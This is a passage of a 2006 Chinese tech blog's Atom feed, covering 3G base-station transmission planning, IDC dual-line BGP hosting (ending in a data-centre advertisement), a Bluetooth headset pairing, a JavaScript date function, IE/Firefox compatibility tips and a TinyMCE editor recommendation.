<P>　　第三代移动通信（3G）的发展经历了体制标准选择、颁发牌照数量的困惑后，到今年已发展到设备规模开发、网络规模测试、业务应用、产业发展以及网络建设规划等阶段。而在整个移动通信网络规划中，作为基础网络的传输网络规划，将是影响业务开通、成本高低、网络质量和扩展性的关键因素。因此，3G移动通信网所需传输网络规划和建设在整个3G网络发展中扮演着重要角色。 </P>
<P>　　目前，3G移动网络技术包括WCDMA、CDMA2000和TD-SCDMA三种网络制式，网络分别由核心网和无线网构成。WCDMA商用版为R99和R4版本，其中，R99版本增加PS分组数据业务，由SCSN和GGSN通过高速以太网接口或POS连接构成全IP分组交换网络；无线网部分Node B与RNC之间通过ATM技术连接，语音业务和数据业务以ATM信元承载。R4版本无线网部分和核心网PS分组域与R99相同，只是在CS电路域采用了控制（MSC Sever）与交换平面（MGW媒体网关）完全分开的方式，MGW可进行TDM、ATM和IP三种方式的业务交换。TD-SCDMA在接口和传输模式上与WCDMA区别不大，只是在无线部分的实现方式上存在差别。CDMA2000制式目前主要指CDMA2000 EV-DO，其传输模式与WCDMA基本相同。三种体制在技术原理、无线频率、空中接口、覆盖范围、网络容量、业务实现等方面各有优势，其在网元设置和功能划分实现上，也各有特点，这里不再一一赘述。但从传输的角度看，在移动通信网络结构中，三种制式各网元接口和接口属性上均是采用分组化的方式进行传送，这是它们的共同发展方向。而在网络的分层分割承载方面，无论是WCDMA、CDMA2000还是TD-SCDMA，3G移动通信网络的逻辑网络结构可以统一为两个层次：接入网络层（UTRAN）和核心网络层（CN）。3G传输网主要承担从UTRAN到CN的业务汇聚，以及CN中的业务传送。本文分析了3G移动通信网传输电路需求，并对3G基站接入的传输网络规划的共性问题进行探讨。 </P>
<P><STRONG>2、3G移动通信网需求传输电路分析</STRONG> </P>
<P>　　3G移动通信网对传输网络的要求主要体现在对传输容量和对3G业务接口支持两个方面。3G传输网络分为两部分：第一部分为骨干传输网络，用以解决3G核心网络的业务传送，属于省际干线和省内干线的范围；第二部分为本地传输网络，用以解决3G无线接入网的业务传送，属于城域网/本地网的范围。 </P>
<P>　　2.1　核心网对骨干传输的要求 </P>
<P>　　3G核心网对传输的需要包括核心网元间、核心网以及无线接入网基站控制器间的需求，主要指大颗粒的STM-1、FE/GE/POS等传送需求，它们具有大颗粒、大带宽、居间流向简单、对可靠性要求高等特点，主要由省内、省际干线传送。 </P>
<P>　　目前，省内、省际干线传送网采用的技术主要是SDH和WDM（部分SDH具有MSTP功能），能提供从E1到STM-16等电路速率的传送。考虑到核心网元大容量设置的趋势，在一般的省、自治区范围内，其中心局址较少，且业务流向较为简单，目前省内、省际干线从设备和结构上基本可以满足3G业务的需求，因此，仅从网络容量上扩容即可，而在业务量大的省和省际干线上，则可以考虑适当引入网状结构的ASON网络。 </P>
<P>　　2.2　3G接入网对传输接入层的要求 </P>
<P>　　该部分电路主要指基站至基站控制器，一般由本地传输网（含城域传送网）传送。其中，基站至基站控制器间的电路由于基站站点多、分布广、总量大，是传输中需要重点解决的部分。目前，基站控制器和核心网网元有大容量的趋势，在一些地区会出现多个本地网联合组建“大本地网”的情形，因此，在该区域，基站至基站控制器间的电路需通过省内干线来承担。 </P>
<P>　　3G无线基站接入网与2G在业务流向上没有区别，也是相对于中心局房的集中型业务，其网络架构仍可沿用2G网的传输网分层、分割的组网模式。在接口属性上，相对于2G网基站，3G网近期无较大变化，主要以E1接口为主，但随着IP化的进展，未来其接口将会出现以太网IOM/100M等接口。就现有的各种设备性能来看，引入具有数据处理功能的MSTP设备是一个不错的选择，可以采用下文所述的多种接入方式。 </P>
<P>　　在3G接入传输网组网中，需要考虑的另一重要因素是各基站的容量分配以及传输网络的系统容量规划。目前，较为普遍的基站接入需求的容量计算方法是采用假设业务模型算法。以WCDMA网Node B基站的容量需求为例，可得单个基站的容量需求计算过程如下： </P>
<P>　　假设Node B对应Iub接口，总的带宽W=Ncell×（Nuser×Ev×6.6kb/s+Nuser×Ecs×64b/s+Nuser×Vps）×（1+Osig+Oo&m）×（1+Q）/（1/Y） </P>
<P>　　其中，Ncell表示小区数；单载频全向基站为1个小区；单载3扇基站为3个小区；2载3扇基站为6个小区；以此类推可知： </P>
<P>　　◆Nuser为小区内的放号用户数。 </P>
<P>　　◆Ev为每用户话音爱尔兰数。 </P>
<P>　　◆Ecs为每用户可视电话爱尔兰数。 </P>
<P>　　◆Vps为每用户平均数据速率。 </P>
<P>　　◆Osig为控制信令的开销，取10%。 </P>
<P>　　◆Oo&m为逻辑和物理操作维护等的开销，取5%。 </P>
<P>　　◆Q为ATM传输产生的开销，10%。 </P>
<P>　　◆Y为负荷因子，取80%。 </P>
<P>　　◆6.6b/s、64b/s分别是话音、可视电话业务的占用带宽。 </P>
<P>　　假设一个网络初期的话务模型为： </P>
<P>　　◆小区内的放号用户数Nuser取1000。 </P>
<P>　　◆Ev为每用户话音爱尔兰数，取0.025。 </P>
<P>　　◆Ecs为每用户可视电话爱尔兰数，取0.001。 </P>
<P>　　◆Vps为每用户平均数据速率，取180b/s。 </P>
<P>　　综合以上数据，可以得出几种典型配置的基站传输带宽需求，如表1所示： </P>
<P align=center>表1　WCDMA基站初期带宽需求预测 </P>
<P align=center>&nbsp;<IMG src="http://www.chinaunicom.com.cn/upload/20061024092710455.jpg"></P>
<P>　　以此类推，如果假定各时期的话务模型和用户数，则可以得出中远期单个基站的带宽需求预测，如表2所示： </P>
<P align=center>表2　WCDMA基站带宽需求预测 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024092745620.jpg"></P>
<P><STRONG>3、3G移动通信网基站接入解决方案</STRONG> </P>
<P>　　3G移动通信网需求传输接入主要指3G基站至基站控制器的传输，根据3G需求传输网对基站的传输数据是否进行二层分组处理和统计复用，传输解决方案可以分为两类。 </P>
<P>　　（1）仅进行物理层透明传送 </P>
<P>　　第一类方案提供透明物理层通道，不对基站接入电路作二层处理，二层处理仍由业务设备处理，如图1所示： </P>
<P align=center>&nbsp;<IMG src="http://www.chinaunicom.com.cn/upload/20061024092802371.jpg"></P>
<P align=center>图1　物理层透明传送 </P>
<P>　　该方案专业分工界面清晰，对数据业务的不确定性、突发性等的处理集中在业务设备侧，采用光纤直连、E1/STM-1静态通路（包括PDH、SDH以及无线微波传输等网络提供的链路）。 </P>
<P>　　◆有部分无线厂家的基站设备可以直接提供STM-1光口直连接入基站控制器，但若光纤直连会浪费光纤，不是网络形态，且维护困难、安全性低，不宜采用。 </P>
<P>　　◆通过信道化的STM-1静态传输，同样存在上述问题，但3G业务在较长时间内存在不确定因素时，带宽会大量空闲致使接口利用率低，不宜采用。 </P>
<P>　　（2）二层数据处理 </P>
<P>　　第二类方案是对基站接入电路作二层处理，进行统计复用、带宽共享，以提高传输效率。目前，业界对这类方案讨论得较多，总的来讲，根据信号处理位置和范围的不同，可以分为以下五种应用方式。 </P>
<P>　　◆方式一。它在局端基站控制器侧增加二层处理设备，对基站信号进行处理，将其转换为大颗粒的接口接入基站控制器，这减少了基站控制器的接口数量，如图2所示。该方式没有解决传输网络的带宽压力，却增加了额外设备、故障点和维护工作量。 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024092818784.jpg">&nbsp;</P>
<P align=center>图2　二层数据处理方式一 </P>
<P>　　◆方式二。相对于方式一，它将数据处理功能在局端具备二层处理功能的MSTP设备上完成（含IMA汇聚处理，下同），并利用MSTP二层处理功能，汇聚基站信号，减少了基站控制器接口数量，如图3所示： </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024093012361.jpg">&nbsp;</P>
<P align=center>图3　二层数据处理方式二 </P>
<P>　　◆方式三。它将对数据的二层处理再扩大到传输网汇聚层的汇聚业务节点上。共享汇聚层的带宽，提高汇聚层带宽利用率，减少汇聚层网络带宽建设压力。可采用在汇聚节点单独增加数据处理设备的方法，将接入的基站信号首先接入数据处理设备，进行二层数据收敛带宽，然后接入汇聚层网络。这种处理方式增加了额外设备，同时将传输网络的结构，从信号传输的角度将汇聚层和接入层分离，一方面对现有网络的调整较大并对现有运行电路有所影响，另一方面增加了运行维护地的后期工作量，如图4所示： </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024092852599.jpg">&nbsp;</P>
<P align=center>图4　二层数据处理方式三 </P>
<P>　　◆方式四。相对于方式三，它将对数据的处理通过MSTP设备上二层处理功能完成，利用MSTP二层处理功能汇聚基站信号（如图5所示），该种方式也是目前多数厂家推荐的方案。相对于单独增加设备的方式，这种方式更能充分利用现有网络设备的资源，可保证现网的电路运营和延续性，但其存在如何确定带宽收敛比的问题，即在无线业务模型和使用方式存在不确定因素时，如何在保证无线业务质量的情况下，确定全网所有基站共享的带宽。 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024093032527.jpg">&nbsp;</P>
<P align=center>图5　二层数据处理方式四 </P>
<P>　　◆方式五。相对于方式四，它将对数据的处理在扩大到边缘层MSTP设备上来完成，利用MSTP二层处理功能，汇聚基站信号，并共享传输网带宽，提高带宽传送效率（如图6所示）。当然，另一种方式就是建设单独的数据网络，但我国目前只有少数运营商具有ATM网络，且很不完整，新建几百个甚至上千个点的基站接入覆盖，从经济效益上来看是不现实的，同时也存在着上述方式中存在的问题。 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061024093051486.jpg">&nbsp;</P>
<P align=center>图6　二层数据处理方式五 </P>
<P>　　以上方式中，基站电路信号在基站至基站控制器的传输路径上，对数据的二层处理由基站控制器向基站侧逐步推进，随着对数据二层处理得到逐步扩大，对传输电路的利用效率也得到提高。第二类方式的应用重点在于各传输路径共享带宽的分配（即收敛比的取定），它与用户业务应用模型有较密切的关系。 </P>
<P><STRONG>4、基站接入解决方案建议</STRONG> </P>
<P>　　由以上分析可见，3G需求传输网络规划中，骨干网络的规划相对于2G网无较大地变化，其规划难点在于无线基站接入的传输网络，尤其是引入分组数据业务后对带宽容量的分配考虑。而数据业务的分组特性致使所需传输带宽存在突发性、不可预测性，只能通过业务运营，不断积累经验、校正模型才能得到逐步完善。同时，也需要运营商与ISP、ICP长期不懈努力才能得到广泛的认可和接受，这是一个渐进过程。如果考虑到数据业务是从无到有，从小到大，传输网络将会面临着从低容量、小颗粒、简单结构需求到高容量、大颗粒、复杂结构需求的变化，这就要求传输网络规划应当具有相当强的扩展性，特别是传输网络建设初期，再考虑传输网建设的经济性、高效型的同时，要特别重视传输网络的扩展性、可延续建设，以保持传输网络的稳定发展。 </P>
<P>　　上述各种方式各有特点和适用场合，但考虑到3G运行初期其移动数据业务模型不确定，并且对带宽的需求规模不是很大，故对3G移动网的基站接入问题有如下建议： </P>
<P>　　（1）总的来讲，建议以基站接口容量的扩展性避免传输网因大规模增加容量而承受的冲击；以传输网络的扩展性，使传输网络建设具有时效性、平稳性、延续性；逐步充分利用传输网MSTP技术对分组数据的处理性能，提高传输带宽的利用效率，共享传输带宽，避免由接入层至汇聚层电路传输容量的直线简单累计，避免造成网络容量庞大。 </P>
<P>　　（2）建议3G无线基站设备传输接口带宽以具备可平滑扩展能力。对分组数据的处理应按站统一，对多个扇区提供复用功能，并使提供的传输带宽接口数量可平滑扩展。比如基站初期可仅提供1～2个E1，后期则根据业务量进行在线传输带宽通道的增加。 </P>
<P>　　（3）建议在3G网络建设初期，对3G基站接入的传送仍以静态链路形式分配带宽以保证业务质量。这时，可以快速部署网络，避免传输网络的较大调整。而对于传输资源较少的新移动运营商，亦可采用这种方式，充分发挥微波传输等无线技术手段建设速度快的优势，快速部署网络。 </P>
<P>　　（4）建议在对中远期网络进行确实预测的基础上，完成传输网络的整体规划，优选MSTP技术组建传输网，尤其是对骨干汇聚层的规划，既要保证传输网建设投资的时效性，又要保证传输网的平稳发展。应积极参与传输网和数据网融合，积累数据业务带宽运维经验，尤其是带宽管理、复用管理等。 </P>
<P>　　（5）建议随着网络规模的增加，逐步进行上述第二类方案运用，根据移动数据业务的发展，逐步扩大采用二层处理功能，提高传输效率，完成以电路业务为主向分组业务为主的平滑过渡。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=382" /> 
	  <id>http://www.openx.cn/default.asp?id=382</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[与小S配对成功]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-29T19:33:48+08:00</updated>
	  <published>2006-10-29T19:33:48+08:00</published>
		  <summary type="html"><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD vAlign=top width=401 height=13><SPAN><STRONG><FONT face=Arial size=2>产品名称：Clip S</FONT></STRONG></SPAN></TD></TR>
<TR>
<TD vAlign=top height=19>蓝牙版本：1.2 Class</TD></TR>
<TR>
<TD vAlign=top height=16>支援功能：立体声</TD></TR>
<TR>
<TD vAlign=top height=132><STRONG><FONT size=2><FONT face=Arial><SPAN>主要特点：</SPAN><BR></FONT></FONT></STRONG><SPAN><FONT face=Arial>全球首款蓝芽耳机，支持Symbian操作系统,可将NOKIA手机内MP3歌曲，以立体音模式传送到CLIP S立体声蓝芽耳机。首创的蓝芽立体声无线耳机：让声音随时环绕你左右，享受立体声的优扬乐声。独有可分拆式耳筒设计，简洁利落的精明设计，配戴方便。同时享受蓝芽无线通话的方便和优质立体声音响效果。便于夹在领口或领带上，简约、典雅的设计风格，让你引领时尚的潮流。非一般耳挂式耳机设计，避免长时间佩带时产生不适感。外置蜂鸣器装置(buzzer) ，来电时会发出”哔,哔”响声即使手机放在手提袋中，仍可藉由蓝芽耳机蜂鸣器发出之”哔,哔”响声知道来电，不错失任何重要来电。支持蓝芽耳机、免提装置和A2DP模式<BR>内置蜂鸣器<BR>支持蓝芽立体声传送功能的设备进行无线连接<BR>通话时间: 6小时<BR>备用时间: 150小时<BR>音乐播放时间: 6小时</FONT></SPAN></TD></TR></TBODY></TABLE>
<P><BR><STRONG>基本规格<BR></STRONG>蓝牙立体声免提装置<BR>大小：53.5&nbsp;x&nbsp;25.5&nbsp;x&nbsp;26&nbsp;毫米<BR>总重：27&nbsp;克<BR>通话时间：可达&nbsp;6&nbsp;小时<BR>立体声音乐播放时间：可达&nbsp;6&nbsp;小时<BR>待机时间：可达&nbsp;150&nbsp;小时<BR></P>
<P>我的手机 Hp iPaq 6315</P>
<P>捣鼓了半天终于配对成功啦~哈.</P>
<P>现在不怕因为PPC声音小而漏接电话咯.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=381" /> 
	  <id>http://www.openx.cn/default.asp?id=381</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[全面分析IDC双线路实现技术方案]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-10-27T10:12:13+08:00</updated>
	  <published>2006-10-27T10:12:13+08:00</published>
		  <summary type="html"><![CDATA[<DIV id=content>&nbsp;&nbsp;&nbsp;&nbsp; 自从电信与网通分离之后，北方网通与南方电信网络的互联瓶颈问题一直没有得到很好的解决，这个问题也严重困扰广大的ICP服务商。ICP也只能根据自己网站主流用户群是在南方还是在北方，服务重点是在南方还是北方而进行取舍，如果用户多是南方选取电信网络，如果用户多为北方则选用网通网络。当然谁也不想自己的网站因网速而丢失另一部分的用户及访问者，都在想办法解决网络瓶颈，希望实现南北快速互通互联。在这种情况下IDC双线技术运营而生了。 <BR><BR>　　IDC双线路技术就是在互联网数据中心(IDC)通过特殊的技术手段把不同的网络接入商(ISP)服务接入到一台服务器上或服务器集群，使服务器所提供的网络服务访问用户能尽可能以同一个ISP或互访速度较快的ISP连接来进行访问，从而解决或者减轻跨ISP用户访问网站的缓慢延迟(南北网络瓶颈)问题。IDC双线路是一个技术概念可以多有具体实现方式，目前国内的IDC提供商分别提出了“双IP双线路”、“单IP双线路”、“CDN多线路”和“BGP单IP双线路”等双线路实现方法，下面来对以上提出的双线路实现方式进行具体说明： <BR><BR>　　<STRONG>一、 双IP双线路实现方式</STRONG> <BR><BR>　　双IP双线路实现方式是指在一台服务器上安装两块网卡，分别接入电信网线与网通网线并设置一个网通IP与一个电信IP，这样一台服务器上就有了两个IP地址，需要在服务器上添加网通或电信的路由表来实现网通用户与电信用户分别从不同的线路访问。双IP双线路具有常用的两种使用方式： <BR><BR>　　1． ICP用户在网站设置两个IP地址不同的链接，网通用户点击网通IP访问服务器，电信用户点击电信IP访问。 <BR><BR>　　2． 使用BIND9（DNS服务器软件）对不同的IP地址请求返回不同的服务器IP的功能来实现网通用户请求域名时返回网通的IP，电信用户请求域名时返回电信的IP，这个方式就是一些IDC提出的智能DNS的方案。 <BR><BR>　　双IP双线路在一定程度上提高了网通与电信用户访问网站的速度，但缺点是由于服务器接入的是双网卡必须在服务器上进行路由表设置，这给普通用户增加了维护难度，并且所有的数据包都需要在服务器上进行路由判断然后再发往不同的网卡，当访问量较大时服务器资源占用很大。此方案是最简单的双线解决方案，一般限于规模较小的IDC提供商使用。 <BR><BR>　　<STRONG>二、 单IP双线路</STRONG> <BR><BR>　　普通的单IP双线路是指在服务器上设置一个IP，此IP是网通IP或是电信IP，通过路由设备设置数据包是通过是电信网络或是网通网络发出来实现的双线技术。此方案也可以提高网通用户与电信用户的访问速度，解决了双IP双线需要在服务器上设置路由的问题，但由于IP地址采用的是网通或电信的IP，访问用户在发送请求数据包时不会自动判别最好的路由。所以这种解决方案只能说是半双线的技术方案、是一种过渡形式的解决方案。此方案一般为单线IDC服务商往双线IDC服务商转型期所采用的临时方案。 <BR><BR>　　<STRONG>三、 CDN方式实现双线路</STRONG> <BR><BR>　　CDN（Content Delivery Network）互联网内容分发网络,就是多服务器分网托管加智能域名DNS，即服务器是CDN服务商提供，放在不同网络节点上，通过缓冲程序自动抓取用户源服务器的数据，然后缓存在不同网段节点的服务器上。再配合智能DNS服务器的分网解析功能，实现不同网络用户都能访问到离自己最近网段上的网站，从而避免因为网络问题而影响网站访问速度的目的。现绝大部份CDN技术在处理静态网站上比较成熟，对交互性很强如全动态页面的网站还不是很成熟。目前CDN方案主要作为一种辅助的解决方案需要配合其它的双线方案才能达到最好的效果。 <BR><BR>　　<STRONG>四、 用BGP协议实现的单IP双线路</STRONG> <BR><BR>　　BGP（边界网关协议）协议主要用于互联网AS（自治系统）之间的互联，BGP的最主要功能在于控制路由的传播和选择最好的路由。中国网通与中国电信都具有AS号（自治系统号），全国各大网络运营商多数都是通过BGP协议与自身的AS号来互联的。使用此方案来实现双线路需要在CNNIC（中国互联网信息中心）申请IDC自己的IP地址段和AS号，然后通过BGP协议将此段IP地址广播到网通、电信等其它的网络运营商，使用BGP协议互联后网通与电信的所有骨干路由设备将会判断到IDC机房IP段的最佳路由，以保证网通、电信用户的高速访问。 <BR><BR>　　使用此方案具体以下优点： <BR><BR>　　1． 服务器只需要设置一个IP地址，最佳访问路由是由网络上的骨干路由器根据路由跳数与其它技术指标来确定的，不会对占用服务器的任何系统资源。服务器的上行路由与下行路由都能选择最优的路径，所以能真正实现高速的单IP双线访问。 <BR><BR>　　2． 由于BGP协议本身具有冗余备份、消除环路的特点，所以当IDC服务商有多条BGP互联线路时可以实现路由的相互备份，在一条线路出现故障时路由会自动切换到其它线路。 <BR><BR>　　3． 使用BGP协议还可以使网络具有很强的扩展性可以将IDC网络与其他运营商互联，轻松实现单IP多线路，做到所有互联运营商的用户访问都很快。这个是双IP双线无法比拟的。 <BR><BR>　　虽然BGP方案是最好的解决方案但由于此方案需要IDC提供商的设备投入与带宽投入方面较大并且技术上较为复杂，所以目前国内采用此方案仅限于实力较强的专业IDC服务商。 <BR><BR>　　综上所述，以上各种双线实现的方式各有优缺点，双IP双线成本较低，但网络不够稳定并且占用大量的服务器资源，普通单IP双线路只是实现了部分双线路的效果所以访问速度不佳，CDN方式对静态网页效果很好但对交互性很强的网页效果不太理想，BGP单IP双线路解决了以上所有的问题是最好的实现方式但国内采用此种方案的IDC服务商较少，如果能将BGP单IP双线与CDN加速结合起来将会是最优的解决方案。目前全国已有不少合用BGP技术方案的数据中心，但大多为特殊客户提供服务，很少有针对普通用户和IDC商的机房。<BR><BR>　　郑州市景安互联网数据中心，经过长达两年的技术积累和准备工作，在取得多方面支持下，申请成功了自己的IP段，和自制域，并与电信、网通达成BGP互联协议，在今年五月份正式向全国普通用户和IDC供应商推出了BGP服务器的机房，使国内最尖端的互联解决方案走向每个使用互联网的人。并在7月初实现了长宽的BGP，目前达到三线互通，与铁通的互通会在8月中旬开通，景安单IP四网互通，您投资互联网的最佳方案。 <BR clear=all></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=380" /> 
	  <id>http://www.openx.cn/default.asp?id=380</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[写了个javascript的DateDiff]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-10-12T10:34:35+08:00</updated>
	  <published>2006-10-12T10:34:35+08:00</published>
		  <summary type="html"><![CDATA[<P>function DateDiff(dd,dadd)<BR>{<BR>&nbsp;//可以加上错误处理<BR>&nbsp;var a = new Date(dd);<BR>&nbsp;a = a.valueOf();<BR>&nbsp;a = a + dadd * 24 * 60 * 60 * 1000;<BR>&nbsp;a = new Date(a);<BR>&nbsp;return a.getFullYear()+'-'+(a.getMonth() + 1)+'-'+a.getDate();<BR>}</P>
<P>&nbsp;</P>
<P>方法:</P>
<P>var today = new Date();</P>
<P>DateDiff(today,30);//加了30天</P>
<P>DateDiff(today,-30);//减了30天</P>
<P>返回的是 yyyy-mm-dd的格式</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=379" /> 
	  <id>http://www.openx.cn/default.asp?id=379</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[JS的IE和Firefox兼容性汇编]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-10-10T08:39:38+08:00</updated>
	  <published>2006-10-10T08:39:38+08:00</published>
		  <summary type="html"><![CDATA[<P>1. document.form.item 问题<BR>(1)现有问题：<BR>现有代码中存在许多 document.formName.item("itemName") 这样的语句，不能在 MF 下运行<BR>(2)解决方法：<BR>改用 document.formName.elements["elementName"]<BR>(3)其它<BR>参见 2</P>
<P>2. 集合类对象问题<BR>(1)现有问题：<BR>现有代码中许多集合类对象取用时使用 ()，IE 能接受，MF 不能。<BR>(2)解决方法：<BR>改用 [] 作为下标运算。如：document.forms("formName") 改为 document.forms["formName"]。<BR>又如：document.getElementsByName("inputName")(1) 改为 document.getElementsByName("inputName")[1]</P>
<P>3. window.event<BR>(1)现有问题：<BR>使用 window.event 无法在 MF 上运行<BR>(2)解决方法：<BR>MF 的 event 只能在事件发生的现场使用，此问题暂无法解决。可以这样变通：<BR>原代码(可在IE中运行)：<BR>&lt;input type="button" name="someButton" value="提交" /&gt;<BR>...<BR>&lt;script language="javascript"&gt;<BR>function gotoSubmit() {<BR>...<BR>alert(window.event); // use window.event<BR>...<BR>}<BR>&lt;/script&gt;</P>
<P>新代码(可在IE和MF中运行)：<BR>&lt;input type="button" name="someButton" value="提交" /&gt;<BR>...<BR>&lt;script language="javascript"&gt;<BR>function gotoSubmit(evt) {<BR>evt = evt ? evt : (window.event ? window.event : null);<BR>...<BR>alert(evt); // use evt<BR>...<BR>}<BR>&lt;/script&gt;<BR>此外，如果新代码中第一行不改，与老代码一样的话(即 gotoSubmit 调用没有给参数)，则仍然只能在IE中运行，但不会出错。所以，这种方案 tpl 部分仍与老代码兼容。</P>
<P>4. HTML 对象的 id 作为对象名的问题<BR>(1)现有问题<BR>在 IE 中，HTML 对象的 ID 可以作为 document 的下属对象变量名直接使用。在 MF 中不能。<BR>(2)解决方法<BR>用 getElementById("idName") 代替 idName 作为对象变量使用。</P>
<P>5. 用idName字符串取得对象的问题<BR>(1)现有问题<BR>在IE中，利用 eval(idName) 可以取得 id 为 idName 的 HTML 对象，在MF 中不能。<BR>(2)解决方法<BR>用 getElementById(idName) 代替 eval(idName)。</P>
<P>6. 变量名与某 HTML 对象 id 相同的问题<BR>(1)现有问题<BR>在 MF 中，因为对象 id 不作为 HTML 对象的名称，所以可以使用与 HTML 对象 id 相同的变量名，IE 中不能。<BR>(2)解决方法<BR>在声明变量时，一律加上 var ，以避免歧义，这样在 IE 中亦可正常运行。<BR>此外，最好不要取与 HTML 对象 id 相同的变量名，以减少错误。<BR>(3)其它<BR>参见 问题4</P>
<P>7. event.x 与 event.y 问题<BR>(1)现有问题<BR>在IE 中，event 对象有 x, y 属性，MF中没有。<BR>(2)解决方法<BR>在MF中，与event.x 等效的是 event.pageX。但event.pageX IE中没有。<BR>故采用 event.clientX 代替 event.x。在IE 中也有这个变量。<BR>event.clientX 与 event.pageX 有微妙的差别（当整个页面有滚动条的时候），不过大多数时候是等效的。</P>
<P>如果要完全一样，可以稍麻烦些：<BR>mX = event.x ? event.x : event.pageX;<BR>然后用 mX 代替 event.x<BR>(3)其它<BR>event.layerX 在 IE 与 MF 中都有，具体意义有无差别尚未试验。</P>
<P>8. 关于frame<BR>(1)现有问题<BR>在 IE中 可以用window.testFrame取得该frame，mf中不行<BR>(2)解决方法<BR>在frame的使用方面mf和ie的最主要的区别是：<BR>如果在frame标签中书写了以下属性：<BR>&lt;frame src="xx.htm" id="frameId" name="frameName" /&gt;<BR>那么ie可以通过id或者name访问这个frame对应的window对象<BR>而mf只可以通过name来访问这个frame对应的window对象<BR>例如如果上述frame标签写在最上层的window里面的htm里面，那么可以这样访问<BR>ie： window.top.frameId或者window.top.frameName来访问这个window对象<BR>mf： 只能这样window.top.frameName来访问这个window对象</P>
<P>另外，在mf和ie中都可以使用window.top.document.getElementById("frameId")来访问frame标签<BR>并且可以通过window.top.document.getElementById("testFrame").src = ‘xx.htm’来切换frame的内容<BR>也都可以通过window.top.frameName.location = ‘xx.htm’来切换frame的内容<BR>关于frame和window的描述可以参见bbs的‘window与frame’文章<BR>以及/test/js/test_frame/目录下面的测试<BR>----adun 2004.12.09修改</P>
<P>9. 在mf中，自己定义的属性必须getAttribute()取得</P>
<P>10.在mf中没有 parentElement parement.children 而用parentNode parentNode.childNodes<BR>childNodes的下标的含义在IE和MF中不同，MF使用DOM规范，childNodes中会插入空白文本节点。<BR>一般可以通过node.getElementsByTagName()来回避这个问题。<BR>当html中节点缺失时，IE和MF对parentNode的解释不同，例如<BR>&lt;form&gt;<BR>&lt;table&gt;<BR>&lt;input/&gt;<BR>&lt;/table&gt;<BR>&lt;/form&gt;<BR>MF中input.parentNode的值为form, 而IE中input.parentNode的值为空节点</P>
<P>MF中节点没有removeNode方法，必须使用如下方法 node.parentNode.removeChild(node)</P>
<P>11.const 问题<BR>(1)现有问题:<BR>在 IE 中不能使用 const 关键字。如 const constVar = 32; 在IE中这是语法错误。<BR>(2)解决方法:<BR>不使用 const ，以 var 代替。</P>
<P>12. body 对象<BR>MF的body在body标签没有被浏览器完全读入之前就存在，而IE则必须在body完全被读入之后才存在</P>
<P>13. url encoding<BR>在js中如果书写url就直接写&不要写&例如var url = ‘xx.jsp?objectName=xx&objectEvent=xxx’;<BR>frm.action = url那么很有可能url不会被正常显示以至于参数没有正确的传到服务器<BR>一般会服务器报错参数没有找到<BR>当然如果是在tpl中例外，因为tpl中符合xml规范，要求&书写为&<BR>一般MF无法识别js中的&</P>
<P>14. nodeName 和 tagName 问题<BR>(1)现有问题：<BR>在MF中，所有节点均有 nodeName 值，但 textNode 没有 tagName 值。在 IE 中，nodeName 的使用好象<BR>有问题（具体情况没有测试，但我的IE已经死了好几次）。<BR>(2)解决方法：<BR>使用 tagName，但应检测其是否为空。</P>
<P>15. 元素属性<BR>IE下 input.type属性为只读，但是MF下可以修改<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=378" /> 
	  <id>http://www.openx.cn/default.asp?id=378</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[推荐一个HTML编辑器]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-10-09T16:50:45+08:00</updated>
	  <published>2006-10-09T16:50:45+08:00</published>
		  <summary type="html"><![CDATA[<P><STRONG>TinyMCE 2.0.6.1</STRONG></P>
<P>不错加载速度挺快,设置简单.</P>
<P>原版:http://prdownloads.sourceforge.net/tinymce/tinymce_2_0_6_1.zip?download</P>
<P>我修改了点点以方便通过脚本调用编辑器内的内容,方便结合Ajax使用.</P>
<P>Cxty修改版:http://www.openx.cn/down.asp?downID=19&action=Url_1</P>
<H3>tinyMCE.Cxty_ReHTML(form_element_name);</H3>
<P>返回编辑器内HTML.</P>
<P>
<TABLE cellSpacing=0 cellPadding=4 border=1>
<THEAD>
<TR>
<TD colSpan=2>Parameters:</TD></TR></THEAD>
<TBODY>
<TR>
<TD>form_element_name</TD>
<TD>表单中的textarea名称.</TD></TR></TBODY></TABLE></P>
<P>Returns: 返回编辑器内HTML. </P>
<P>&nbsp;</P>]]></summary>
